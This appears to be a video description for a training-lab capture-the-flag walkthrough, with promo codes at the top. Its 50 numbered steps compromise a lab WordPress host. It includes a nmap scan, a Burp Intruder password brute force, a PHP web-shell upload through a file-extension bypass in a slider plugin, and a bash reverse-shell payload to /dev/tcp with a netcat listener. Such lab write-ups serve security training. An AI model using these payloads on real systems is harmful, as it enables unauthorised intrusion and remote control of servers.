Description:
https://get.ine.com/Daryl
MARCH26PREM250
MARCH26FUND150
MAR26BUNDLE50
MARCH26DIVE50
eSOCCert326
eSOCBundle326
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
1. ifconfig (to find my IP address)
2. fping -a -g 192.230.225.0/24 (to conduct a ping sweep for host discovery)
3. sudo nmap -Pn -sS -sV -T4 192.230.225.3 (performing a pingless stealthly service version scan of the target host for open ports)
4. Opened web browser and navigated to 192.230.225.3 (to see what's being hosted there - WordPress site)
5. Then navigated to 192.230.225.3/wp-admin (to visit the admin portal login page)
6. Clicked the FoxyProxy extension in the upper right hand corner of the browser and clicked "Burp Suite" (to configure link my browser with the Burp Suite application)
7. Click Kali dragon icon in system tray, expanded "Web Application Analysis" menu tree and choose Burpsuite
8. After choosing to start a "Temporary project" and "Use the Burp defaults", made sure that the "Interceptor" is turned on (to capture HTTP Method requests from the browser).
9. Back in the browser, entered the credentials - username: admin, password: password
10. Clicked the "Action" button and sent the captured HTTP request to the Intruder tab
11. Clicked on the "Positions" tab and clicked the "Clear" button on the far right side to remove the highlighted variables in the HTTP request
12. Highlighted "password" and clicked the "Add" button
13. In the "Payloads" tab, set the payload type to "Simple list" and clicked the "Load" button
14. Loaded wordlist from the following directory: /root/Desktop/wordlists/100-common-passwords.txt
15. Clicked the "Start attack" button in the upper right hand corner (to initiate the dictionary attack)
16. Once attack is completed, clicked "Status" to sort the results by Status code
17. Clicked on "lawrence" entry and viewed the "Response" tab
18. Turned the "Interceptor" off in Burp Suite
19. Back in the browser, entered the credentials - username: admin, password: lawrence
20. Once in the admin panel, clicked the "Plugins" menu on the left and choose the "installed plugins" menu item
21. Back in the terminal, searchsploit wordpress responsive thumbnail slider 1.0 (to search Searchsploit database for exploits against known vulnerabilities in the plugin)
22. cat /usr/share/exploitdb/exploits/php/webapps/37998.txt (to view the contents of the plugin exploit file)
23.Back in the browser, clicked on "Responsive Thumbnail Slider" menu option (all the way at the bottom) and choose the "manage images" menu item
24. Clicked the "Add New" option (which brings me to the uploads page)
25. Back in the terminal, nano shell.php.jpg (to create a php shell file with a jpg extention)
26. Enter ?php system($_GET["cmd"]) ? inside of the shell script and Ctrl + X and Y to save & exit
27. cat shell.php.jpg (to view the contents of the shell script)
28. Back in the browser, clicked the "Browse" button and choose the shell.php.jpg file to upload
29. Back in Burp Suite, turned the Interceptor back on
30. Back in the browser, click the "Save Changes" button at the bottom of the page
31.Clicked the "Action" button and sent the request to the repeater
32. Clicked the Repeater tab and scrolled down to the line of the request containing the filename.
33. Edited the line to now read "filename="shell.php" instead of "filename="shell.php.jpg"
34. Clicked the "Send" button at the top and received a positive 200 return code (verifying that the shell script would still be uploaded as an image file even with the jpg image removed"
35. Turned the Interceptor off (for the now modified request to reach its destination)
36. Back in the browser, I can see that the file was successfully uploaded
37. Clicked the "edit" option on the second image listed (this is the webshell)
38. Clicked on php link next to "current image", which brought up a blank page
39. Added ?cmd=id to the end of the URL which returns a user ID for the www-data service account
40. Added ?cmd=pwd to the end of the URL which returns the internal directory where the plugin is stored
41. Back in the Burp Suite, clicked on the "Decorder" tab and entered /bin/bash -c "bash -i *greater than* & /dev/tcp/192.230.225.2/54321 0 *greater than* &1" (to create reverse shell payload)
42. Clicked "Encode as..." drop down menu and choose the "URL" menu item. Copied contents of the textbox below
43. Back in the terminal, nc -lvp 54321 (to have netcat execute in listening mode on port 54321)
44. Back in the browser, pasted the URL encoded payload after ?cmd= on the end of the command line
45. Back in the terminal, I now have a shell session with the target host!
46. id (to view user ID)
47. pwd (to view current directory)
48. ls (to view the contents of the current directory)
49. find / -iname *flag* 2 *greater than* /dev/null (to see if we can find any files with the term "flag" in it)
50. cat /var/www/html/91b2f916340-FLAG (to view the contents of the flag)
Share this link via
Or copy link